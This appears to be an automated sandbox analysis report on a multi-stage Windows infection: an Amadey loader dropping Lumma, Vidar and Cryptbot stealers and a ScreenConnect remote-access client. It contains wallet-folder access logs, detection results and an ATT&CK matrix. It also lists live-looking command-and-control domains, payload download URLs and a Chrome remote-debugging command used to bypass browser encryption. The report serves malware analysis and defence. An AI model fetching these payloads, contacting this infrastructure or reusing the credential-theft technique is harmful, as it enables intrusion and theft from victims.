Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV

Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000020.00000003.3421905733.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3419270172.0000000000F89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3419270172.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3421395436.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3421395436.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 20eec459fe6c4c019b42190414a26a1f.exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 54ad0685cd.exe PID: 6696, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 54ad0685cd.exe PID: 6696, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 20.0.20eec459fe6c4c019b42190414a26a1f.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.20eec459fe6c4c019b42190414a26a1f.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2976798123.0000000003AD8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NN9Dd7c.exe PID: 1592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 20eec459fe6c4c019b42190414a26a1f.exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007CEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_007CEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007CDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_007CDF51

Source: Yara match	File source: 22.2.ga70pjP.exe.57e0000.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.ScreenConnect.WindowsClient.exe.2befa18.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.ScreenConnect.WindowsClient.exe.a80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.ga70pjP.exe.31c3d4.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.ga70pjP.exe.57e0000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.ScreenConnect.WindowsClient.exe.2d2fa50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.ga70pjP.exe.345db0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.ga70pjP.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.ga70pjP.exe.2963d4.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.3210584122.00000000057E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000000.3114073249.0000000000A82000.00000002.00000001.01000000.00000025.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3559506540.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.3057397568.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.3228594051.0000000006631000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.3002227462.0000000000296000.00000002.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3565111200.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ga70pjP.exe PID: 320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 3796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 6548, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Temp\~DFEC80BE9B1F8F021D.TMP, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\~DF8C7D3814706A6B1B.TMP, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\~DF4F72EAE088270CE3.TMP, type: DROPPED
Source: Yara match	File source: C:\Windows\Installer\inprogressinstallinfo.ipi, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\~DFAC8ECF7E5B76FD45.TMP, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\~DFC344C2AE35DF32E5.TMP, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\~DFEBB357D6CC700344.TMP, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe, type: DROPPED
Source: Yara match	File source: C:\Config.Msi\3ca64f.rbs, type: DROPPED
Source: Yara match	File source: C:\Windows\Installer\MSIA9C9.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\ga70pjP[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Replication Through Removable Media	41 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	21 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Extra Window Memory Injection	11 Deobfuscate/Decode Files or Information	1 Credentials in Registry	11 Peripheral Device Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	1 Component Object Model Hijacking	1 Component Object Model Hijacking	5 Obfuscated Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	2 Windows Service	2 Windows Service	13 Software Packing	NTDS	22 File and Directory Discovery	Distributed Component Object Model	Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	1 Scheduled Task/Job	212 Process Injection	1 Timestomp	LSA Secrets	267 System Information Discovery	SSH	Keylogging	4 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	1 DLL Side-Loading	Cached Domain Credentials	1 Query Registry	VNC	GUI Input Capture	115 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	991 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	13 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	22 Masquerading	/etc/passwd and /etc/shadow	391 Virtualization/Sandbox Evasion	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	391 Virtualization/Sandbox Evasion	Network Sniffing	1 Application Window Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	212 Process Injection	Input Capture	1 System Owner/User Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Hidden Users	Keylogging	1 Remote System Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Rundll32	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	61%	ReversingLabs	Win32.Trojan.Amadey
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Client.dll	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.dll	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Core.dll	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Windows.dll	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsAuthenticationPackage.dll	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsBackstageShell.exe	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsCredentialProvider.dll	0%	ReversingLabs
C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsFileManager.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	11%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	47%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	53%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	47%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	53%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1017686001\f5272cef3f.exe	11%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\MSIA043.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\Microsoft.Deployment.Compression.Cab.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\Microsoft.Deployment.Compression.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\Microsoft.Deployment.WindowsInstaller.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\ScreenConnect.Core.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\ScreenConnect.InstallerActions.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\ScreenConnect.Windows.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Windows\Installer\MSIA9E9.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIAD07.tmp	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
cheapptaxysu.click	172.67.177.88	true	false	high
home.fivetk5vt.top	176.53.146.212	true	false	high
fivetk5vt.top	176.53.146.212	true	false	high
github.com	140.82.121.4	true	false	high
raw.githubusercontent.com	185.199.109.133	true	false	high
t.me	149.154.167.99	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
hulkpara.xyz	94.130.191.168	true	true	unknown
gips620.top	95.214.234.11	true	true	unknown
aspecteirs.lat	188.114.96.6	true	false	high
sb.scorecardresearch.com	13.249.9.35	true	false	high
www.google.com	142.250.181.132	true	false	high
httpbin.org	98.85.100.80	true	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://sb.scorecardresearch.com/b?rn=1734621080502&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09B6C4049C2967923623D15E9D006621&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
aspecteirs.lat	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734621088004&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734621089037&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734621088952&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://hulkpara.xyz/	true	unknown
energyaffai.lat	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734621080500&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
grannyejh.lat	false	high
necklacebudi.lat	false	high
crosshuaht.lat	false	high
cheapptaxysu.click	true	unknown
https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe	false	high
https://github.com/Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	54ad0685cd.exe, 00000020.00000003.3201700814.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3201668224.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3201700814.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3201936123.0000000000FDD000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3202194117.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3568216862.00000000039EF000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3560594676.0000000003747000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3229589454.000000000584D000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230441582.000000000584B000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230240535.000000000584B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3568216862.00000000039EF000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3560594676.0000000003747000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3229589454.000000000584D000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230441582.000000000584B000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230240535.000000000584B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.datacontract.org	1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FE6F000.00000004.00000800.00020000.00000000.sdmp, 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A4019E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.microsoft	powershell.exe, 0000000D.00000002.2881719271.0000000007D26000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.libertyreserve.com/beta/xml/transfer.aspx	f4d805b7c6.exe, 0000000F.00000002.2929459206.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 0000000F.00000000.2851991410.00000000006C2000.00000002.00000001.01000000.0000000D.sdmp	false	high
http://defaultcontainer/StoreInstaller;component/Resources/Theme/Light.xaml	1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A400CB000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://cheapptaxysu.click/apiDefaul	54ad0685cd.exe, 00000020.00000003.3419270172.0000000000F89000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3421395436.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000A.00000002.2821466785.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2872344764.0000000005275000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cheapptaxysu.click/i	54ad0685cd.exe, 00000020.00000003.3457540677.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002971000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2818597938.0000000004B41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2850054872.0000000004211000.00000004.00000800.00020000.00000000.sdmp, 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000002.3048589166.0000019A3FEEB000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000001F.00000002.3572647696.0000000001720000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000022.00000002.3565111200.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://hulkpara.xyz.exe	20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542724371.00000000005AC000.00000004.00000001.01000000.00000013.sdmp	false	unknown
https://cheapptaxysu.click/apipkljjm	54ad0685cd.exe, 00000020.00000003.3452321121.0000000000F6D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000006.00000002.3565466179.000000000125F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://t.me/virus101ScreenconnectLR	ScreenConnect.ClientService.exe, 0000001F.00000002.3572647696.0000000001720000.00000004.00000800.00020000.00000000.sdmp	false	high
